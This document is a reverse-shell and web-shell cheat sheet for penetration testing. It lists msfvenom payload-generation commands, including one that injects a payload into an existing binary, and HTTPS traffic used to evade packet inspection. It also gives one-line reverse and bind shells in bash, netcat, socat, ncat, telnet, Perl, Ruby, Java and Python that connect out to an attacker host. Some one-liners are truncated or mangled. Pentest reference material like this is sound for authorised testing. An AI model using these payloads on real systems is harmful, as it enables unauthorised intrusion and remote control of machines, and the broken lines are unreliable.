

# Reverse-shells

This is a great collection of different types of reverse shells and webshells. Many of the ones listed below comes from this cheat-sheet:

<https://highon.coffee/blog/reverse-shell-cheat-sheet/>

<http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>

## Msfvenom

There is an important difference between non-staged and staged payload. A **non-staged** shell is sent over in one block. You just send shell in one stage. This can be caught with metasploit multi-handler. But also with netcat.

**staged** shells send them in turn. This can be useful for when you have very small buffer for your shellcode, so you need to divide up the payload. Meterpreter is a staged shell. First it sends some parts of it and sets up the connection, and then it sends some more. This can be caught with metasploit multi-handler but not with netcat.

### Windows

#### Meterpreter

##### Standard meterpreter

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -o shell_reverse.exe
```

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
```

##### Meterpreter HTTPS

It makes the meterpreter-traffic look normal. Since it is hidden in https the communication is encrypted and can be used to bypass deep-packet inspections.

```
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.101 LPORT=443 -f exe -o met_https_reverse.exe
```

#### Non-staged payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o shell_reverse_tcp.exe
```

```
use exploit/multi/handler
set payload windows/shell_reverse_tcp
```

#### Staged payload

```
msfvenom -p windows/shell/reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o staged_reverse_tcp.exe
```

This must be caught with metasploit. It does not work with netcat.

```
use exploit/multi/handler
set payload windows/shell/reverse_tcp
```

#### Inject payload into binary

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -e x86/shikata_ga_nai -i 9 -x "/somebinary.exe" -o
```

## Linux

### Binary

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 -f elf > shell.elf
```

### Bash

```
0<&196;exec 196<>/dev/tcp/192.168.1.101/80; sh <&196 >&196 2>&196
```

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

## Php

```
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
```

## Netcat

### Bind shell

```
#Linux
nc -vlp 5555 -e /bin/bash
nc 192.168.1.101 5555

# Windows
nc.exe -nlvp 4444 -e cmd.exe
```

### Reverse shell

```
# Linux
nc -lvp 5555
nc 192.168.1.101 5555 -e /bin/bash

# Windows
nc -lvp 443
nc.exe 192.168.1.101 443 -e cmd.exe
```

### With -e flag

```
nc -e /bin/sh ATTACKING-IP 80
```

```
/bin/sh | nc ATTACKING-IP 80
```

### Without -e flag

```
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
```

Upgrade Netcat shell to an interactive: <https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/>

## Socat

### Listener (Server)

```
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

### Callback (Victim/Client)

```
socat tcp-connect:10.10.10.10:4444 exec:sh,pty,stderr,setsid,sigint,sane
```

## Ncat

Ncat is a better and more modern version of netcat. One feature it has that netcat does not have is encryption. If you are on a pentestjob you might not want to communicate unencrypted.

### Bind

```
ncat --exec cmd.exe --allow 192.168.1.101 -vnl 5555 --ssl
ncat -v 192.168.1.103 5555 --ssl
```

## Telnet

```
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
```

```
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
```

## Perl

```
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))){'
```

## Ruby

```
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

## Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \"$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

## Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash"]);'
```

## Web-shells - Platform Independent

### PHP

This php-shell is OS-independent. You can use it on both Linux and Windows.

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f raw > shell.php
```

### ASP

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 -f asp > shell.asp
```

### WAR

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f war > shell.war
```

### JSP

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f raw > shell.jsp
```